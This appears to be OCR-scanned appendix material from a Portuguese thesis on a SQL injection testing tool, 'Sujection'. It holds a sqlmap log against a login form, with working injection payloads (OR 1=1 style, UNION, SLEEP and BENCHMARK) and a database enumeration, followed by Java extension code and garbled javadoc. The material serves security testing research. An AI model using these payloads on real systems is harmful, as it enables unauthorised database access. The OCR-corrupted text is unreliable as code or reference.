[12:33:18] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[12:33:18] [INFQ] testing ‘MySQL >= 5.0 error-based - Parameter replace'

[12:33:18] [INFQ] testing ‘MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'

[12:33:18] [INFO] testing '"MySQL >= 5.1 error-based - Parameter replace
(UPDATEXML)'

[12:33:18] [INFO] testing '"MySQL inline queries’

[12:33:18] [INFO] testing ‘MySQL > 5.0.11 stacked queries’

[12:33:18] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[12:33:18] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[12:33:18] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'

[12:33:18] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)’
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[12:33:25] [INFO] POST parameter 'SENHA" is '‘MySQL < 5.0.12 AND time-based blind
(heavy query)' injectable

[12:33:25] [INFO] testing '"MySQL UNION query (NULL) - 1 to 20 columns'

[12:33:25] [INFO] POST parameter 'SENHA" is ‘MySQL UNION query (NULL) - 1 to 20

columns' injectable

[12:33:25] [WARNING] in OR boolean-based injections, please consider usage of switch

"--drop-set-cookie' if you experience any problems during data retrieval

POST parameter 'SENHA' is vulnerable. Do you want to keep testing the others (if any)?
[y/N]y

[12:33:52] [INFO] testing if Referer parameter 'Referer’ is dynamic
[12:33:52] [INFO] confirming that Referer parameter 'Referer’ is dynamic
[12:33:52] [INFO] Referer parameter 'Referer’ is dynamic

[12:33:52] [WARNING] heuristic test shows that Referer parameter 'Referer’ might not be

injectable
[12:33:52] [INFO] testing for SQL injection on Referer parameter 'Referer’
[12:33:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[12:33:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[12:33:55] [INFO] testing '"AND boolean-based blind - WHERE or HAVING clause

(Generic comment)'
[12:33:57] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause’

[12:33:58] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(MySQL comment)’

[12:33:59] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause

(Generic comment)’
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[12:34:00] [INFO] testing 'MySQL boolean-based blind - WHERE or HAVING clause
(RLIKE)'

[12:34:02] [INFO] testing 'Generic boolean-based blind - Parameter replace (original

value)'

[12:34:02] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET

- original value)'

[12:34:02] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT -

original value)'

[12:34:02] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int -

original value)'

[12:34:02] [INFO] testing '"MySQL >= 5.0 boolean-based blind - Parameter replace

(original value)'

[12:34:02] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace

(original value)'

[12:34:02] [INFO] testing 'PostgreSQL boolean-based blind - Parameter replace
(GENERATE_SERIES - original value)'

[12:34:02] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter
replace (original value)'

[12:34:02] [INFO] testing '‘Oracle boolean-based blind - Parameter replace (original

value)'

[12:34:02] [INFO] testing 'Microsoft Access boolean-based blind - Parameter replace

(original value)'

[12:34:02] [INFO] testing 'SAP MaxDB boolean-based blind - Parameter replace

(original value)'

[12:34:02] [INFOQO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY

clauses'

[12:34:02] [INFO] testing '‘Generic boolean-based blind - GROUP BY and ORDER BY

clauses (original value)'
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[12:34:02] [INFO] testing 'MySQL >= 5.0 boolean-based blind - GROUP BY and
ORDER BY clauses'

[12:34:03] [INFO] testing '"MySQL < 5.0 boolean-based blind - GROUP BY and ORDER

BY clauses'

[12:34:03] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORDER
BY clause’

[12:34:03] [INFO] testing 'Oracle boolean-based blind - GROUP BY and ORDER BY

clauses'

[12:34:03] [INFO] testing 'Microsoft Access boolean-based blind - GROUP BY and
ORDER BY clauses'

[12:34:03] [INFO] testing 'MySQL stacked conditional-error blind queries'

[12:34:05] [INFO] testing 'Microsoft SQL Server/Sybase stacked conditional-error blind

queries’
[12:34:07] [INFO] testing 'PostgreSQL stacked conditional-error blind queries’

[12:34:09] [INFO] testing '"MySQL >= 5.0 AND error-based - WHERE or HAVING

clause'

[12:34:11] [INFO] testing '"MySQL >= 5.1 AND error-based - WHERE or HAVING
clause (EXTRACTVALUE)'

[12:34:12] [INFO] testing ‘MySQL >= 5.1 AND error-based - WHERE or HAVING
clause (UPDATEXML)'

[12:34:12] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING

clause’
[12:34:13] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause’

[12:34:13] [INFOQO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or
HAVING clause’

[12:34:14] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or
HAVING clause (IN)'
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[12:34:14] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause
(XMLType)'

[12:34:15] [INFO] testing '‘Oracle AND error-based - WHERE or HAVING clause
(utl_inaddr.get_host_address)’

[12:34:15] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause
(ctxsys.drithsx.sn)'

[12:34:16] [INFO] testing 'Firebird AND error-based - WHERE or HAVING clause'
[12:34:17] [INFO] testing '"MySQL >= 5.0 OR error-based - WHERE or HAVING clause'

[12:34:17] [INFO] testing ‘MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[12:34:18] [INFO] testing '"MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(UPDATEXML)'

[12:34:18] [INFO] testing ‘"MySQL >= 4.1 OR error-based - WHERE or HAVING clause'
[12:34:19] [INFO] testing ‘MySQL OR error-based - WHERE or HAVING clause’
[12:34:20] [INFO] testing 'PostgreSQL OR error-based - WHERE or HAVING clause'

[12:34:21] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
HAVING clause'

[12:34:22] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
HAVING clause (IN)'

[12:34:23] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause
(XMLType)'

[12:34:23] [INFO] testing ‘Oracle OR error-based - WHERE or HAVING clause
(utl_inaddr.get_host_address)’

[12:34:24] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause

(ctxsys.drithsx.sn)'
[12:34:25] [INFO] testing 'Firebird OR error-based - WHERE or HAVING clause'

[12:34:26] [INFQ] testing ‘MySQL >= 5.0 error-based - Parameter replace'
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[12:34:26] [INFO] testing '"MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'

[12:34:26] [INFQ] testing ‘MySQL >= 5.1 error-based - Parameter replace
(UPDATEXML)'

[12:34:26] [INFO] testing 'PostgreSQL error-based - Parameter replace’

[12:34:26] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter

replace’

[12:34:26] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace

(integer column)'
[12:34:26] [INFO] testing 'Oracle error-based - Parameter replace’
[12:34:26] [INFO] testing 'Firebird error-based - Parameter replace’

[12:34:26] [INFO] testing '"MySQL >= 5.0 error-based - GROUP BY and ORDER BY

clauses'

[12:34:26] [INFO] testing ‘"MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (EXTRACTVALUE)'

[12:34:26] [INFO] testing '"MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (UPDATEXML)'

[12:34:26] [INFO] testing 'PostgreSQL error-based - GROUP BY and ORDER BY

clauses’

[12:34:26] [INFO] testing 'Microsoft SQL Server/Sybase error-based - ORDER BY clause'
[12:34:26] [INFO] testing 'Oracle error-based - GROUP BY and ORDER BY clauses'
[12:34:26] [INFO] testing "MySQL inline queries’

[12:34:26] [INFO] testing 'PostgreSQL inline queries’

[12:34:26] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'

[12:34:27] [INFO] testing 'Oracle inline queries’

[12:34:27] [INFO] testing '"MySQL > 5.0.11 stacked queries’
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[12:34:27] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)’
[12:34:28] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[12:34:29] [INFO] testing 'PostgreSQL stacked queries (heavy query)'
[12:34:29] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc)'
[12:34:30] [INFO] testing ‘Microsoft SQL Server/Sybase stacked queries'
[12:34:30] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)'
[12:34:31] [INFO] testing 'Oracle stacked queries (heavy query)'
[12:34:31] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP)'
[12:34:32] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP)'
[12:34:33] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
[12:34:33] [INFO] testing 'Firebird stacked queries (heavy query)'
[12:34:34] [INFO] testing ‘MySQL > 5.0.11 AND time-based blind'
[12:34:34] [INFO] testing '"MySQL > 5.0.11 AND time-based blind (comment)’
[12:34:35] [INFO] testing ‘MySQL < 5.0.12 AND time-based blind (heavy query)'

[12:34:35] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query -

comment)’

[12:34:36] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'

[12:34:36] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind (comment)'
[12:34:37] [INFO] testing 'PostgreSQL AND time-based blind (heavy query)'
[12:34:37] [INFO] testing 'PostgreSQL AND time-based blind (heavy query - comment)'
[12:34:38] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'

[12:34:38] [INFO] testing ‘Microsoft SQL Server/Sybase AND time-based blind (heavy
query)’
[12:34:39] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy

query - comment)'
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[12:34:39] [INFO] testing 'Oracle AND time-based blind'
[12:34:40] [INFO] testing 'Oracle AND time-based blind (comment)'
[12:34:40] [INFO] testing ‘Oracle AND time-based blind (heavy query)'
[12:34:41] [INFO] testing '‘Oracle AND time-based blind (heavy query - comment)’
[12:34:41] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[12:34:42] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query - comment)'
[12:34:42] [INFO] testing 'Firebird AND time-based blind (heavy query)’
[12:34:43] [INFO] testing 'Firebird AND time-based blind (heavy query - comment)’
[12:34:43] [INFO] testing 'SAP MaxDB AND time-based blind (heavy query)'
[12:34:44] [INFO] testing 'SAP MaxDB AND time-based blind (heavy query - comment)'
[12:34:44] [INFO] testing 'IBM DB2 AND time-based blind (heavy query)'

[12:34:45] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to

retry the request

[12:34:45] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minutes and
rerun without flag T in option '--technique’ (e.g. --flush-session --technique=BEUS) or try

to lower the value of option '--time-sec’ (e.g. --time-sec=2)

[12:34:46] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to
retry the request

[12:34:47] [CRITICAL] unable to connect to the target url or proxy. sglmap is going to

retry the request

[12:34:48] [INFO] Referer parameter ‘Referer’ is 'IBM DB2 AND time-based blind (heavy

query)' injectable
[12:35:07] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns’

injection not exploitable with NULL values. Do you want to try with a random integer

value for option '--union-char'? [Y/n] Y
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[12:35:20] [WARNING] if UNION based SQL injection is not detected, please consider
forcing the back-end DBMS (e.g. --dbms=mysql)

[12:35:20] [INFO] testing 'MySQL UNION query (56) - 22 to 40 columns'

[12:35:20] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to

retry the request

[12:35:21] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to

retry the request

[12:35:22] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to

retry the request

[12:35:23] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to

retry the request
[12:35:24] [INFO] testing 'MySQL UNION query (56) - 42 to 60 columns'

[12:35:25] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to
retry the request

[12:35:26] [INFO] target url appears to be UNION injectable with 43 columns
[12:35:27] [INFO] testing 'MySQL UNION query (56) - 62 to 80 columns'
[12:35:27] [INFO] testing '"MySQL UNION query (56) - 82 to 100 columns'
[12:35:27] [INFO] target url appears to be UNION injectable with 93 columns

[12:35:28] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to

retry the request

[12:35:42] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to

retry the request
[12:35:51] [INFO] testing ‘Generic UNION query (56) - 1 to 20 columns’
[12:35:51] [INFOQO] testing 'Generic UNION query (56) - 22 to 40 columns'

[12:35:52] [CRITICAL] unable to connect to the target url or proxy. sglmap is going to

retry the request

[12:35:58] [INFO] target url appears to be UNION injectable with 25 columns
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[12:36:06] [INFO] testing 'Generic UNION query (56) - 42 to 60 columns'
[12:36:06] [INFO] testing 'Generic UNION query (56) - 62 to 80 columns'
[12:36:06] [INFO] testing ‘Generic UNION query (56) - 82 to 100 columns’

[12:36:06] [INFO] checking if the injection point on Referer parameter ‘Referer" is a false

positive

[12:36:07] [WARNING] false positive or unexploitable injection point detected
[12:36:07] [WARNING] Referer parameter '‘Referer’ is not injectable

[12:36:07] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[12:36:07] [WARNING] User-Agent parameter 'User-Agent’ does not appear dynamic

[12:36:07] [WARNING] heuristic test shows that User-Agent parameter 'User-Agent’

might not be injectable
[12:36:07] [INFO] testing for SQL injection on User-Agent parameter 'User-Agent’
[12:36:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[12:36:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[12:36:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause

(Generic comment)’
[12:36:11] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause’

[12:36:12] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(MySQL comment)’

[12:36:13] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause

(Generic comment)’

[12:36:14] [INFO] testing "MySQL boolean-based blind - WHERE or HAVING clause
(RLIKE)'

[12:36:14] [INFO] User-Agent parameter 'User-Agent' is 'MySQL boolean-based blind -
WHERE or HAVING clause (RLIKE)' injectable
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[12:36:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING

clause'

[12:36:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING
clause (EXTRACTVALUE)'

[12:36:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING
clause (UPDATEXML)'

[12:36:14] [INFO] testing '"MySQL >= 4.1 AND error-based - WHERE or HAVING

clause'
[12:36:14] [INFO] testing '"MySQL >= 5.0 OR error-based - WHERE or HAVING clause'

[12:36:15] [INFO] testing ‘"MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[12:36:15] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(UPDATEXML)'

[12:36:15] [INFO] testing ‘"MySQL >= 4.1 OR error-based - WHERE or HAVING clause'
[12:36:15] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[12:36:15] [INFQ] testing ‘MySQL >= 5.0 error-based - Parameter replace'

[12:36:15] [INFQ] testing ‘MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'

[12:36:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(UPDATEXML)'

[12:36:15] [INFOQO] testing '"MySQL inline queries’

[12:36:15] [INFO] testing ‘MySQL > 5.0.11 stacked queries’

[12:36:15] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[12:36:15] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[12:36:15] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'

[12:36:15] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)’
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[12:36:15] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query -

comment)’'

[12:36:15] [INFO] testing ‘MySQL > 5.0.11 OR time-based blind'

[12:36:15] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query)'
[12:36:16] [INFO] testing 'MySQL >= 5.0 time-based blind - Parameter replace’

[12:36:16] [INFO] testing ‘MySQL < 5.0 time-based blind - Parameter replace (heavy

queries)’

[12:36:16] [INFO] testing 'MySQL time-based blind - Parameter replace (bool*int)’
[12:36:16] [INFO] testing 'MySQL time-based blind - Parameter replace (MAKE_SET)'
[12:36:16] [INFO] testing 'MySQL time-based blind - Parameter replace (ELT)'
[12:36:16] [INFO] testing '"MySQL UNION query (56) - 1 to 20 columns'
[12:36:16] [INFO] testing '"MySQL UNION query (56) - 22 to 40 columns'
[12:36:17] [INFO] testing "MySQL UNION query (56) - 42 to 60 columns'’
[12:36:17] [INFO] testing "MySQL UNION query (56) - 62 to 80 columns'’
[12:36:17] [INFO] testing '"MySQL UNION query (56) - 82 to 100 columns'
[12:36:18] [INFO] testing 'Generic UNION query (56) - 1 to 20 columns'
[12:36:18] [INFO] testing 'Generic UNION query (56) - 22 to 40 columns'
[12:36:18] [INFO] testing ‘Generic UNION query (56) - 42 to 60 columns'
[12:36:18] [INFO] testing ‘Generic UNION query (56) - 62 to 80 columns'
[12:36:18] [INFO] testing 'Generic UNION query (56) - 82 to 100 columns'

[12:36:19] [INFO] checking if the injection point on User-Agent parameter '‘User-Agent’

is a false positive
[12:36:19] [WARNING] false positive or unexploitable injection point detected
[12:36:19] [WARNING] User-Agent parameter 'User-Agent’ is not injectable

sglmap identified the following injection points with a total of 5742 HTTP(s) requests:



Place: POST
Parameter: NOME
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

Payload: NOME=-3990' OR (4104=4104)#&SENHA=

Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns

Payload: NOME=-6576" UNION ALL SELECT
CONCAT(0x3a6d72733a,0x68476c79544776416665,0x3a7176683a), NULL#&SENHA=

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (comment)

Payload: NOME=Administrador' AND SLEEP(5)#&SENHA=

Place: POST
Parameter: SENHA
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause

Payload: NOME=Administrador&SENHA=-1127" OR (4465=4465) AND
'GCLt'="GCLt

Type: UNION query

Title: MySQL UNION query (NULL) - 2 columns
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Payload: NOME=Administrador&SENHA="LIMIT 0,1 UNION ALL SELECT
CONCAT(0x3a6d72733a,0x6e6277796d7755584668,0x3a7176683a), NULL#

Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)

Payload: NOME=Administrador&SENHA="AND
3569=BENCHMARK(5000000,MD5(0x784e6663)) AND 'GUPT'="GUPT

there were multiple injection points, please select the one to use for following injections:

[0] place: POST, parameter: NOME, type: Single quoted string (default)
[1] place: POST, parameter: SENHA, type: Single quoted string

[a] Quit

>1

[12:39:16] [INFO] testing MySQL

[12:39:16] [INFO] confirming MySQL

[12:39:17] [INFO] the back-end DBMS is MySQL

[12:39:17] [INFO] actively fingerprinting MySQL

[12:39:17] [INFO] executing MySQL comment injection fingerprint
web application technology: PHP 5.3.13, Apache 2.2.22

back-end DBMS: active fingerprint: MySQL >=5.5.0

[12:39:23] [INFO] fetching database names

[12:39:23] [WARNING] the SQL query provided does not return any output

[12:39:23] [INFO] retrieved:
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[12:39:23] [WARNING] it is very important not to stress the network adapter's bandwidth

during usage of time-based queries
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[12:39:24] [WARNING] in case of continuous data retrieval problems you are advised to
try a switch '--no-cast' and/or switch '--hex'

[12:39:24] [INFO] fetching number of databases

[12:39:24] [WARNING] running in a single-thread mode. Please consider usage of option
"--threads' for faster data retrieval

[12:39:24] [INFO] retrieved: 5

[12:39:24] [INFO] retrieved: information_schema
[12:39:26] [INFO] retrieved: exemplo

[12:39:26] [INFO] retrieved: mysql

[12:39:27] [INFO] retrieved: performance_schema
[12:39:28] [INFO] retrieved: test

available databases [5]:

[*] exemplo

[*] information_schema

[*1 mysal

[*] performance_schema

[*] test

[*] shutting down at 12:39:29
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B — Criacéo de Extensodes

Para criar extensdes, € necessario criar uma classe pertencente ao pacote
“extensions” que implemente “extension.Extension” e implementar todos os métodos
abstratos. Apds isso, a classe deve ser compilada e colocada na pasta de extensdes do

Sujection.

Também é importante estabelecer que esta pasta de extensdes pode estar em uma
localizagé@o qualquer e que a classe de extensdes pode fazer uso de outras classes, desde
que sejam colocadas em subpacotes de “extensions”. A Sujection € capaz de carregar essas

classes referenciadas pela extensao de forma automatica.
A interface “extension.Extension” ¢ definida da seguinte forma:
package sujection.extension;
import sujection.console.ProcessadorDeComando;

public interface Extension extends ProcessadorDeComando

{

[Hx
* Esse método € invocado quando o botdo executar teste da interface
* principal € clicado.

*/

public void executarTeste();

[

* Esse método é invocado quando a extensdo é ativada

*/

public void extensaoAtivada();

[

* Esse método é invocado quando a extensdo é desativada, ou seja

* outra extensao é carregada no lugar ou a ferramenta é finalizada.
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*/
public void extensaoDesativada();

}

Como essa interface estende de outra, também é importante conhecer os métodos
abstratos definidos nesta outra interface, a Interface “ProcessadorDeComando”, que

permite a extensao interpretar comandos do console da Sujection:
package sujection.console;
public interface ProcessadorDeComando {
/** Quando ha um comando no console a ser processado, esse comando
* ¢ passado para este método.
* @param linha
* linha a ser processada
*/
public void processaComando(String linha);

/**

* Quando o programa executado no console retorna texto, este método é

chamado
* @param text
* texto que 0 programa executado retornou.
* @return

* True indica que o resultado veio externo ao interpretador e foi impresso no

console.
* False indica que o resultado veio do interpretador e ndo é impresso no console.
* 1sso € usado para evitar que o proprio interpretador envie texto ao console
* e tente interpreté-lo.

*/
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public boolean interpretaResultado(String text);

ks

Quando uma extenséo é uma subclasse de JPanel da API Swing de interfaces
gréficas, o Sujection automaticamente a carrega na aba de configuracdo de caso de teste.
Por conveniéncia, extensions.ExtensionPanel, uma classe abstrata que estende de JPanel é

fornecida para facilitar este desenvolvimento:
package sujection.extension;
import javax.swing.JPanel;
import sujection.Sujection;

/**

* ExtensionPanel € apenas uma versdo que estende JPanel, criada de antemé@o para

facilitar.

* O SujectionGUI verifica se a extensdo herda de JPanel, se herdar, ele coloca a

extenséo

* como um panel visivel na interface.
*

*/

public abstract class ExtensionPanel extends JPanel implements Extension {

@Override
public void extensaoAtivada() {

Sujection.printinConsole("Extensdo " + this.getClass().getName() + "

ativada.");

¥

@Override



public void extensaoDesativada() {

Sujection.printinConsole("Extensdo " + this.getClass().getName() +

desativada.");

}

@Override

public void processaComando(String linha) {

}

@Override
public boolean interpretaResultado(String linha) {

return true;
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B — JAVADOC das Extensdes

Interface Extension

Overview Package Use Tree Deprecated Index Help

PREV CLASS HEXTCLASS EBAMES HOFRAMES AllClhsses
SUMMARY: NESTED | FIELD | CONSTR | METHOD DETAIL: FIELD | COMNSTR | WMETHOD
s ujection.e e nsion

Interface Extension

All Supe rinterface s:
ProcessadorDeC omando

All Known Imple me nting Classes:
Adague SO LMapCapturaF orms, AtagqueSO LMapCapturaF ormsSimples, Atague SO LMapPadrao,

ExtensionPanel, Teste, TestePanel

public interface Extension

extends ProcessadorDeComando

Interface rai de todas as extersdes da Suyjection. ao conpilar e dsponibilizar una subeclasse em um pacote
“extersion”, € possivel carregar a extensdo de qualkguer bigar.

Method Summary

vald lamecutarTeste| )
Esse método € imnvocado quando o botdo executar teste da interface principal € clicado.

vald lextensachtivadai)
Esse método € mvwocado quando a extersiio € ativada

vald lextensacDesativadal)
Esse método € imvocado quando a extersfo € desativada, ou seja outra extensdo € carregada

no lugar.

Methods inherite d frominterface sujectionconsole.ProcessadorDe Comando

interpretaResultado, processaComando

Method Detail

executarTeste

vold executarTeste()

Esse método é ivocado quando o botio executar teste da nterface principal € clicado.

extens aoAtivada



volid extensachtivada ()

Esse método € wocado quando a extensfio € athvada

extens aoDesativada
volild extensacDesativadal)

Esse método € ivocado quando a extensfio € desativada, ouseja outra extensfio € carre gada no
gar. [sso nio & chamado quando o programa focha

Overview Package Use Tree Deprecated Index Help
PREYV COLASS HEXTCLASS FRAMES MWNOFRAMES AllClasses
SUMMARY: NESTED | FIELD | CONETR | METHOD DETAIL:FIELD | CONSTR |METHOD

AtaqueSQLMapCapturaForms

Visdo global Pacote Classe Usar Arvore Deprecated indice Ajudar

PREV CLASSE  présims suls FRAMES Sem quadras Todes s Cleses
RESUMG: BESTED | CAMPY | CONSTR | METODE DETALHE: CAMPO | CONSTR | METODG
extensies

Classe AtaqueSQLMapCapturaForms

jawva. lang.Object
java.awt.Component
java.awt.Container
|—ja.va:-t. awing. JComponent
Ljavax. awing. JPanel
L sufection.extension . ExtensionPanel

L extensions. AtagueSQIMapCapturaForms

Todas as interfaces imple me ntadas:
Javaawtimmge ImageObserver, java awt. MemContamer, java. in Serilizable,
Javax.accessibility Accessible, ProcessadorDeComando . Extensiio

public class AtagueSQLMapCapturaForms
eatende ExtensionPanel

Veja també me
Forma sermlizada

Resumo da classe aninhada

Classes aninhadas [ inte rfaces herdado de javax.swing.JPanel classe

javax.swing. JPanel .AccessibledPanel
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Classes aninhadas / inte rfaces herdadas da classe javax. swing.JComponent

javax.swing. JComponent .AccessibledComponent

Classes aninhadas / inte rfaces herdadas da classe java.awt.Containe r

java.awt.Container .AccesalibleAwTContainer

Classes aninhadas / inte rfaces herdadas da classe java.awt.Component

java.awt. Component .AccessiblepW TComponent,
java.awt. Component .EaselineReal zeBehavior, java.awt.Component.BltBufferStrateqgy,
jawva.awt. Component .FlipBuf ferStrateqgy

Resumo campo

asbakica |-B.E5m

jawa_lang.Skring |

Campos herdados da classe javax.swing.JComponent

AccesaibleContext, ListenerList, TOOL_TIP_TEXT KEY, ui, UNDEFIKED CONDITION,
WHEN ANCESTOR_OF FOCUSED COMPONENT, WHEN_FOCUSED, WHEN_IN FOCUSED_WINDOW

Campos herdados da classe java.awt.Component

BOTTOM ALIGWNMENT, CENTERE_ALIGHMENT, LEFT_ ALIGHMENT, RIGHT ALIGKMENT
TOP_ALIGNMENT,

Campos herdados da interface de java.awtimage.lmageObserver

Abortar, ALLEITS, ERRD, FRAMEBITE, altura, propriedades, SOMEEITS, largura

Resumo construtor

AtagueSQLMapCapturaFforms ()
Cria nova forma Ataque SO LMapPadrao

Resumo método

irmvalidar aexecutarTes te |:|,
Método ESSE E QUANDO mvocado o Botio executar teste da nterface de clicado
diretor €.

Métodos herdados da classe sujectione xte nsion. ExtensionPanel

extensachtivada , extensacDesativada , interpretaBesultads , processaComando

Métodos herdados da classe javax.swing.JPanel

gethAccessibleContext, getUI, getUIClassID, param3tring, setUI, updateUl
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Métodos herdados da classe javax.swing. JComponent

addiotify addAnceatorListener, addvetcableChangelistener, computeVisibleRect,
contém, createToolTip, desatiwvar, ativar firePropertyChange, firePropertyChange,
firePropertyChange, fireVetocableChange, getActionForKeyStroke, getActionMap,
getAlignmentX, getAlignmentY, gethncestorlisteners, gethAutcacrolls, getBaseline,
getBaselineResizeBehavior, getBorder, getBounds, getClientProperty,
getComponentEraphics, getComponentPopupMenu, getConditionForKeyStroke,
getDebugEraphicadptiona, getDefaultlocale, getFontMetrica, getGraphics,
getHeight, getInheritsPopupMenu, getInputMap, getInputMap, getInputverifier,
getIngets, getlnsets, getlistenera, getlLocation, getMaximumSize, getMinimumsize,
getNextFocusableComponent, getPopuplocation, getPreferredsSize,
getRegiateredieyStrokes, getRootPane, getSize, getToolTipLocation,
getToolTipText, getToolTipText, getToplLevelAncestor, getTransferHandler,
getverifyInputwhenFocuaTarget, getVetoableChangelisteners, getvisibleRect,
getwidth, getX, getY, grabFocus, isDoubleBuffered, isLightweightComponent,
isManagingFocus, is0pague, ia0ptimizedDrawingEnabled, isPaintingForPrint,
isPaintingTile, isRequestFocusEnabled, isvalidateRoot, pintura, paintBorder,

paintChildren, paintComponent, paintImmediately, paintImmediately, dmprimir
PRINTALL, printBorder, printChildren, printComponent, processComponentKeyEvent,
procesakKeyBinding, processKeyEvent, processMouseEvent, processMouseMotionEvent,
putClientProperty, registerKeyboardAction, registerKeyboardhction,
removeAncestorlistener, removeNotify removeVetcableChangeListener, pintar,
pintar, reguestDefaultFocus, regquestFocus, regueatFocus, reguestFocusInWindow,
regquestFocualnWindow, resetKevboardActiona, remodelar, revalidacio,
acrollRectToviasible, setActionMap, sethRlignmentX, sethlignmenty, sethutoscrolls,
setBackground, setBorder, setComponentPopupMenu, setDebugGraphicadptiona,
getbefaultlocale, setDoubleBuffered, setEnabled, setFocusTraversalKeys, setFont,
SetForeground, setInheritsPopupMenu, setInputMap, setInputVerifier,
getMaximumSize, setMinimumSize, setMHextFocusableComponent, setOpague,
getPreferredsize, setReguestFocusEnabled, setToolTipText, setTransferHandler,
getlUI, setVerifyInputWwhenFocusTarget, unregisterKeyboardhction, setviaible,
atualizagdo

Métodos herdados da classe java.awt.Container

adicionar, acrescentar, Somar, acrescentar, somar, addContainerlListener,
addImpl, addPropertyChangelistener, addPropertyChangelListener,
applyComponentOrientation, areFocusTraversalKeysSet, countComponents,
DeliverEvent, doLayout, findComponentht, findComponenthAt, getComponent,
gqetComponentit, getComponenthAt, getComponentlount, Getlomponents,
getComponentZ0rder, getContainerListeners, getFocusTraversalKeys,
getFocuaTraverasalPolicy, Getlayout, getMousePoaition, insergées, inwvalidar,
isAncesator0f, isFocusCycleRoot, isFocusCycleRoot,
isFocuaTraversalPolicyProvider, isFocusTraversalPolicySet, layout, liata, lista,
localizar, MinimumSize, paintComponents, PreferredSize, printComponents,
procesafontainerEvent, processEvent, remover, remover, removehrll,
